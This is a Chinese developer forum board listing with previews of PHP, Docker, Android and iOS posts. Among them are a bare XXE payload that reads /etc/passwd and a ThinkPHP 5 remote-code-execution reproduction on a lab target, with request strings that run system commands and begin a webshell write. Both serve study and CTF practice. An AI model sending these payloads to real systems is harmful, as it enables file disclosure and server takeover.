ios /安卓开发
软件开发工具包/Android原生开发工具包相关文档和高级学习教学。
1,467个主题在此版块
-
- 0 篇回复
- 886 次查看
当前移动开发主要分为安卓开发和iOS开发,对于想学习移动端开发的人来说,两者都是不错的选择。简单对比下两者的区别,安卓的app主要分布在各种厂商的应用商店,如华为,小米的应用商店,iOS的app集中在苹果的app store,苹果对于app的审核周期更长一些。安卓开发主要使用Java语言,近年也有app采用Kotlin开发。iOS的app采用Objective-C开发,近年苹果在推广Swift语言。安卓系统可以由厂商做一些定制, iOS系统是闭源的操作系统,苹果对于iOS的app审核比较严格一些。安卓开发可以在Windows或者mac平台开发,iOS的开发环境必须使用mac平台搭建。本篇文章主要介绍iOS开发入门,帮助想学习iOS开发的人更有效率地学习。 一 软件,硬件准备 学习iOS开发需要一台mac电脑,安装Xcode开发软件。至于苹果手机,如果有的话更好,使用模拟器也可以完成大部分的开发工作,除了推送,扫码等依赖真机的情况。 二 计算机基础知识 你至少需要熟悉或者了解一门编程,比如C++,java等。在学习技术的过程中,无论是前端,移动端,还是服务端,编程语言是基础。比较流行的编程语言C++或者java是要学习的,当你有编程语言基础的时候,再学习Objective-C或者Swift会很容易上手。不建议你的第一门编程语言是Objective-C或者Swift,因为很多资料是比较老的,容易误导新手。当然…
NedK7的最后回复, -
- 0 篇回复
- 192 次查看
本项目为 SurfaceView 和 TextureView 封装了 EGL 环境管理以及 Render 线程,可以和 GLSurfaceView 一样使用 OpenGLES 进行渲染。并尝试使用 OpenGLES 绘制了一个三角形验证正确性。 GitHub:https://github.com/carverZhong/AndroidEGL. 一、EGL 原理 EGL 是 OpenGL ES 和本地窗口系统(Native Window System)之间的通信接口,它的主要作用如下: 与设备的原生窗口系统通信。 查询绘图表面的可用类型和配置。 创建绘图表面。 在OpenGL ES 和其他图形渲染API之间同步渲染。 管理纹理贴图等渲染资源。 EGL 的架构图如下: Display 是对实际显示设备的抽象。代码中对应 EGLDisplay。 Surface 是对用来存储图像的内存区域 FrameBuffer 的抽象,包括 Color Buffer, Stencil Buffer ,Depth Buffer。代码中对应 EGLSurface。 Context存储 OpenGL ES 绘图的一些状态信息。代码中对应 EGLContext。 二、EGL 实践 1.EGL 环境创建 EGL 环境创建主要是操作 EGLDisplay、EGLSurface 和 EGLContext。一般步骤如下: 使用eglGetDisplay(EGL_DEFAULT_DISPLAY)获取 EGLDisplay,并调用eglInit…
HACK1949的最后回复, -
- 0 篇回复
- 124 次查看
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <root> <name>&xxe;</name> </root> payload
HACK1949的最后回复, -
- 0 篇回复
- 337 次查看
思路:遍历二维数组,合并两个二维数组的值,赋值给新数组 function mergeArray($arr1,$arr2){ $newArr = []; foreach($arr1 as $v1){ foreach ($arr2 as $v2) { $newArr[] = array_merge($v1,$v2); } } return $newArr; }
HACK1949的最后回复, -
- 0 篇回复
- 124 次查看
function arraySort($arr, $keys, $type = 'asc') {//二维按照某个字段对数组排序 $keysvalue = $new_array = array(); foreach ($arr as $k => $v){ $keysvalue[$k] = $v[$keys]; } $type == 'asc' ? asort($keysvalue) : arsort($keysvalue); reset($keysvalue); foreach ($keysvalue as $k => $v) { $new_array[$k] = $arr[$k]; } return $new_array; }
HACK1949的最后回复, -
第一周 学习php反序列化漏洞 要求:理解php反序列化原理 了解常用魔术方法的触发条件 能够自己构造反序列链 学习pop链的构造和一些常见的反序列化姿势 最少做三道相关的题目(难度不限),并写出wp Php是一种运行在服务器端的HTML脚本编程语言。该语言可以让web开发人员快速的书写动态生成的网页。 1. 序列化和反序列化是什么 序列化:变量转换为可保存或传输的字符串的过程; 反序列化:把序列化的字符串再转化成原来的变量使用 作用:可轻松地存储和传输数据,使程序更具维护性、 序列化是为了方便于数据的传输,形象化理解就像物流的过程。你想把一张桌子通过从a–>b,一张桌子肯定不好运输,因此需要把它拆开(这个拆的过程就是序列化);等到达了b需要把他组装起来(装的过程就是反序列化)。 Php进行序列化的目的是保存一个对象,方便以后重用。 2. 为什么会有序列化 序列化用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构 3. 魔术方法 魔术方法是PHP面向对象中特有的特性。它们在特定的情况下被触发,都是以双下划线开头,你可以把它们理解为钩子,利用模式方法可以轻松实现PHP面向对象中重载。魔术方法是一种特殊的方法,像函数但又不是,当对对象执行某些操作时会覆盖 PHP 的默认操作。以'__'+字符串的一些默认方法,这些方法对后面会讲的序列化与反序列化漏洞起到了非常大的作用 魔术方法的调用是在该类序列化或者反序列化的同时自动完成的,不需要人工干预,这就非常符合我们的想法,因…
HACK1949的最后回复, -
在开启PHP是要使用libssl.so.1.0. 0或者libcrypto.so.1.0.0,但由于他们大多没有1.0.0版本,我是基于链接解决的,以libcrypto.so.1.0.0为例 1.首先查看一下当前系统文件里,libcrypto.so都有哪些版本 ll /usr/lib64/libcrypto.so.* 2.属实没有这个libcrypto.so.1.0.0,但是有这个/usr/lib64/libcrypto.so.1.0.2k,于是创建连接 sudo ln -s /usr/lib64/libcrypto.so.1.0.2k /usr/lib64/libcrypto.so.1.0.0
HACK1949的最后回复, -
·序列化与反序列化 类型 过程 序列化 对象—> 字符串 反序列化 字符串—>对象 字符串包括,属性名,属性值,属性类型和该对象对应的类名。 序列化函数serialize(),反序列化函数unserialize()。(O代表对象;A代表数组) ·_sleep() serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,__sleep()方法会先被调用,然后才执行序列化操作 序列化的结果只有_sleep()中的两个属性 ·_wakeup() unserialize()会检查类中是否存在一个__wakeup魔术方法。如果存在则会先调用__wakeup()方法,再进行序列化 当序列化字符串中表示对象属性个数的数字值大于真实类中属性的个数时就会跳过__wakeup的执行, ·访问控制修饰符 根据访问控制修饰符的不同序列化后的属性长度和属性值会有所不同 public(公有) protected(受保护) //被序列化的时候属性值会变成 %00*%00属性名 private(私有的) //被序列化的时候属性值会变成%00类名%00属性名 注意protected属性和private属性的长度,%00为空白符,空字符也有长度,一个空字符长度为 1 ·反序列化POP链 pop又称之为面向属性编程(Property-Oriented Programi…
HACK1949的最后回复, -
- 0 篇回复
- 114 次查看
搭建方式 使用宝塔面板搭建,操作简单,但是安装的东西多,宝塔会自己控制防火墙开放端口 使用源码手动安装 安装复杂 使用docker安装 简单快捷 最终选择使用dokcer容器安装 wordpress修改站点地址无法访问 修改数据库下的表wp_options siteurl http://43.138.164.99 yes home http://43.138.164.99 yes 无法传大文件 修改WordPress根目录下的.htaccess文件,加入以下代码: php_value upload_max_filesize 200M php_value post_max_size 200M php_value max_execution_time 300 php_value max_input_time 300
HACK1949的最后回复, -
- 0 篇回复
- 124 次查看
php测试程序: echo "<?php echo '<p>Hello World</p>'; ?>" > /data/server/nginx/html/test.php 然后浏览器输入localhost/hest.php,报错file not found. 最终解决途径:关闭selinux 两种关闭方法: 1.临时关闭 setenforce 0 2.从配置里关闭,需要重启 vim /etc/sysconfig/selinux 改写文件内容如下 参考链接:https://blog.csdn.net/weixin_35797963/article/details/116251518
HACK1949的最后回复, -
- 0 篇回复
- 109 次查看
获取周一和周日的日期 $Monday = strtotime('today +' . (8 - date('w')) . 'day -1second'); $Sunday = strtotime('today -' . (date('w') - 1) . 'day'); dump(date('m-d H:i:s', $Monday)); // string(14) "07-24 23:59:59" dump(date('m-d H:i:s', $Sunday)); // string(14) "07-18 00:00:00"
HACK1949的最后回复, -
- 0 篇回复
- 111 次查看
Docker-Compose 容器集群的快速编排 目录 Docker-Compose 容器集群的快速编排 Docker-compose 简介 compose 部署 Docker Compose 环境安装 YAML 文件格式及编写注意事项 Docker Compose配置常用字段 Docker compose 常用命令 编写Docker Compose搭建lnmp论坛 部署前准备 配置nginx 编写dockerfile文件 配置mysql 准备配置文件 编写dockerfile文件 配置php Docker-compose 简介 Docker-Compose项目是Docker官方的开源项目,负责实现对Docker容器集群的快速编排。 Docker-Compose将所管理的容器分为三层,分别是 工程(project),服务(service)以及容器(container)。Docker-Compose运行目录下的所有文件(docker-compose.yml,extends文件或环境变量文件等)组成一个工程,若无特殊指定工程名即为当前目录名。一个工程当中可包含多个服务,每个服务中定义了容器运行的镜像、参数、依赖。一个服务当中可包括多个容器实例,Docker-Compose并没有解决负载均衡的问题,因此需要借助其它工具实现服务发现及负载均衡,比如 Consul。 Docker-Compose的工程配置文件默认为docker-compose.yml,可通过环境变量COMPOSE_FILE或-f参数自定义配置文件,其定义了多个有依赖…
HACK1949的最后回复, -
- 0 篇回复
- 117 次查看
php 中$_SERVER[‘QUERY_STRING‘]函数的介绍 • 简介php中的$_SERVER函数 $_SERVER是 预定义变量之一 ,可以直接使用,它是一个包含脚本位置信息(脚本路径)、请求页面的通信协议名称和版本(“HTTP/1.0”)等等信息的数组。 $_SERVER获取当前服务器信息。做题过程中遇到的四个变量的区分进行一个简单的介绍 ♦1. $_SERVER["QUERY_STRING"] #查询(query)的字符串 ♦2.$_SERVER["REQUEST_URI"] #访问此页面所需的URI ♦3.$_SERVER["SCRIPT_NAME"] #包含当前脚本的路径 ♦4.$_SERVER["PHP_SELF"]。 #当前执行的叫脚本的文件名 •示例: 1,http://www.boke.com/ 结果: $_SERVER["QUERY_STRING"] = “” $_SERVER["REQUEST_URI"] = “/” $_SERVER["SCRIPT_NAME"] = “/index.php” $_SERVER["PHP_SELF"] = “/index.php” 2,http://www.boke.com/scr.php/?a=bbb(附带查询) 结果: $_SERVER["QUERY_STRING"] = “a=bbb″ $_SERVER["REQUEST_UR…
HACK1949的最后回复, -
- 0 篇回复
- 138 次查看
[MRCTF2020]你传你
HACK1949的最后回复, -
- 0 篇回复
- 145 次查看
创建一个文件夹,里面随便方视频文件即可 列如文件夹名字是assets代码如下 <? $handler = opendir('./assets/mp4/');//当前目录中的文件夹下的文件夹 需要获取的目录文件夹名字 while( ($filename = readdir($handler)) !== false ) { if($filename != "." && $filename != ".."){ //echo $filename."<br>"; $tmp[] = $filename; } } closedir($handler); //print_r($tmp); $arr=array_rand($tmp); $video='./assets/mp4/'.$tmp[$arr]; header("location:$video"); ?> 创建一个视频HTML小电视观看建议横屏视频 html代码 <!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <title>便携小电视 | 小k</title> <!--为搜索引擎定义关键词--> <meta name="keywords" conten…
HACK1949的最后回复, -
- 0 篇回复
- 122 次查看
1、找到php.ini,一般在/usr/local/etc/php/php.ini中,通过copy复制到宿主机之后去掉php_mysql.so前面的分号后上传 2、进入容器扩展安装目录/usr/local/bin 3、执行命令安装扩展 ./docker-php-ext-install mysql ./docker-php-ext-install mysqli 4、重启容器 docker restart myphp-fpm
HACK1949的最后回复, -
- 0 篇回复
- 136 次查看
一、ThinkPHP介绍 轻量级框架,内部OOP和面向过程代码都存在,是国人自己开发的框架。 ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式 二、漏洞描述 Thinkphp5.0版本中没有对路由中的控制器进行严格过滤,导致在没有开启强制路由的情况下可以执行系统命令。 三、漏洞影响版本 ThinkPHP 5.0.x < 5.0.23 ThinkPHP 5.1.x < 5.1.31 四、漏洞复现 1、搭建环境 这里使用docker直接启动vulhub靶场 docker-compose up -d 目录:thinkphp/5-rce 2、访问页面 http://your-ip:8080 3、代码执行 /index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100 /index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=pwd 获取phpinfo信息 执行系统命令 4、写入一句话 /index.php?s…
HACK1949的最后回复, -
- 0 篇回复
- 138 次查看
(1)安装nginx、php、php-fpm (注:从php5之后安装php程序,php-fpm自动在php包内。无需单独安装php-fpm插件) (2) 当网页需要动态解析时,nginx服务通过fastcgi接口解析php程序,并把结果返回到页面。动态解析配置文件默认是etc/nginx/site-available下的default文件 (3) 配置default (4)在对应配置位,添加php-fpm程序的位置。fastcgi_pass unix:/var/run/php/php7.4-fpm.sock 本例安装的是php7.4 (5) 配置结束,重启nginx /USR/SBIN/NGINX -T && /USR/SBIN/NGINX -S RELOAD
HACK1949的最后回复, -
- 0 篇回复
- 137 次查看
PHP资产管理系统,适用于IT办公行业固定资产及设备管理源码,基于layuimini开源框架,需要的联系我,标价即实价。 可本地安装或局域网联机使用,也可服务器联网使用。 需求环境PHP+MYSQL部署简单,带部署文档。 YID:7925673019707696http://mooru.cn/cimgblog/715.png夫唯不争L
HACK1949的最后回复, -
- 0 篇回复
- 105 次查看
在做PHP开发,查询出来的并集通常会需要做根据某一个键来去重,下面是具体方法: // 去重 public function duplicate($list,$key) { $result = []; $keys = []; foreach($list as $item){ if(!in_array($item[$key],$keys)){ array_push($result,$item); array_push($keys,$item[$key]); } } return $result; } 使用: $this->duplicate($group,'group'); 处理根据字段去重的优化操作是在查询的时候,可以根据这个键来做【分组】即可完美避免这个问题。
HACK1949的最后回复,